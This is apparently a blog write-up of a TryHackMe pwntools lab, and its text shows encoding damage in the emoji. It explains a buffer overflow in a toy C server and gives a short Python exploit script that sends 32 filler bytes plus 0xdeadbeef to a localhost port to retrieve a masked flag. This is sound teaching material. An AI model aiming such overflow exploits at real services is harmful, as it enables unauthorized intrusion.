Intro To Pwntools- TryHackMe
π Phase 3 β Networking with Pwntools
Room: Intro To Pwntools (Networking)
βTyping payloads manually is coolβ¦ until you have to do it 500 times.β
This phase teaches one of the biggest reasons why Pwntools exists:
Automating exploitation.
Instead of copying payloads into a terminal every single time, we let Python do everything for us.
π― Goal
This challenge was no longer about controlling the EIP.
We already learned that.
Now the goal was:
- Connect to a vulnerable service
- Receive data automatically
- Send our payload automatically
- Receive the flag automatically
Basicallyβ¦
Python
β
Connect
β
Receive prompt
β
Send exploit
β
Receive flagExactly how real exploit scripts work.
π Challenge Files
lsOutput
note_to_buzz.txt
serve_test
test_networking.cπ Reading the Note
cat note_to_buzz.txtOutput
Dear buzz,I'm running a service on port 1337,
which has an overflow vulnerability.I've left you a version that will run
on port 1336 so that you can develop
your exploit.
Immediately we know:
PortPurpose1336Local testing server1337Actual vulnerable service
This is actually a super common setup in CTFs.
π Understanding the C Code
The interesting part wasnβt networking.
It was this struct.
struct {
char buff[32];
volatile int printflag;
} targets;Memory looks like this:
+---------------------------+
| buff[32] |
+---------------------------+
| printflag (4 bytes) |
+---------------------------+The vulnerable line:
read(sockfd, targets.buff, 100);Waitβ¦
Buffer size = 32 bytesRead = 100 bytesπ
Thatβs a 68-byte overflow.
Then comes the magic
if(targets.printflag == 0xdeadbeef)If we overwrite that integerβ¦
printflag = 0xdeadbeefThe server literally says:
"Thanks, here's your flag."π§ Why use volatile?
volatile int printflag;volatile tells the compiler:
βDonβt optimize this variable.β
Without it, the compiler might keep the value in a register instead of memory, making the overflow unreliable.
π§© Exploitation Plan
We donβt need shellcode.
We donβt need to control EIP.
We only need to overwrite printflag.
Memory:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
32 bytesthen0xdeadbeef
Payload becomes:
"A"*32 + p32(0xdeadbeef)Simple.
Effective.
π Pwntools Time
Instead of
nc
type payload
copy
paste
repeatwe automate everything.
Step 1 β Connect
from pwn import *conn = remote("127.0.0.1",1336)This opens a TCP connection.
Equivalent to:
nc 127.0.0.1 1336except Python controls it.
Step 2 β Receive the prompt
print(conn.recvn(18))Server sends:
Give me deadbeef:Output
b'Give me deadbeef: 'Notice the
b''That means Python bytes, not a string.
Very important in binary exploitation.
Step 3 β Build payload
payload = b"A"*32
payload += p32(0xdeadbeef)Memory becomes
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EF BE AD DERemember:
Intel uses
Little Endian
Get Abiaccessβs stories inΒ yourΒ inbox
Join Medium for free to get updates fromΒ thisΒ writer.
So
0xdeadbeefbecomes
ef be ad deStep 4 β Send it
conn.send(payload)Done.
Step 5 β Receive Flag
print(conn.recvn(34))Output
b'Thank you!\nflag{***************}'Flag recovered π
(Partial shown intentionally.)
π» Important Commands Used
Listing files
ls -lOutput
note_to_buzz.txt
serve_test
test_networking.cReading note
cat note_to_buzz.txtOutput
I'm running a service on port 1337...I've left one on port 1336.Viewing source code
cat test_networking.cImportant discovery
char buff[32];and
read(...,100);Huge overflow.
Checking protections
checksec serve_testOutput
RELRO: Full
Canary: Found
NX: Enabled
PIE: EnabledUnlike the previous challenge,
this binary had proper protections enabled.
Butβ¦
those protections donβt matter because
we never overwrite EIP.
We only overwrite a nearby integer.
Running exploit
python3 pwn_network.pyOutput
[+] Opening connection to 127.0.0.1 on port 1336b'Give me deadbeef: 'b'Thank you!\nflag{***************}'
Everything happened automatically.
No typing.
No manual interaction.
Exactly what exploit developers want.
Running local server
./serve_testOutput
Socket successfully created..Socket successfully binded..Server listening..server accept the client...From client:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
This proves
our exploit reached the server successfully.
π§ Key Pwntools Functions Learned
FunctionPurposeremote()Connect to a TCP servicerecvn()Receive an exact number of bytessend()Send raw payload bytesp32()Pack integers into 32-bit little-endian format
These four functions alone are enough to solve a surprising number of beginner pwn challenges.
π Real-World Connection
This exact workflow is used in:
- Internal penetration tests
- Exploit development
- Malware research
- Vulnerability validation
- Capture The Flag competitions
- Security research labs
A real exploit usually follows the same pattern:
Connect
βFingerprint serviceβTrigger vulnerabilityβGain executionβRetrieve shell / data
Pwntools automates all of it.
π― What I Learned
- How to communicate with remote services using Pwntools.
- The difference between manual exploitation and automated exploitation.
- How to overwrite adjacent variables instead of hijacking control flow.
- Why
p32()is essential when crafting payloads. - How binary data is handled using Python bytes (
b""). - That many vulnerabilities donβt require shellcode β sometimes changing a single variable is enough.
π Phase 3 Summary
β Learned how to automate exploitation with Pwntools.
β Connected to a vulnerable TCP service using remote().
β Received and sent raw binary data with recvn() and send().
β Overwrote printflag instead of the return address.
β Used p32(0xdeadbeef) to satisfy the program's condition.
β Retrieved the flag (flag{***************}) automatically.


![[IronHold] β Spring Boot Source Code Analysis: Finding Credentials, SQL Injection, PrivEsc, andβ¦](https://miro.medium.com/v2/resize:fit:1358/format:webp/1*2yaTo73YRGo1GknAUJNfPg.jpeg)



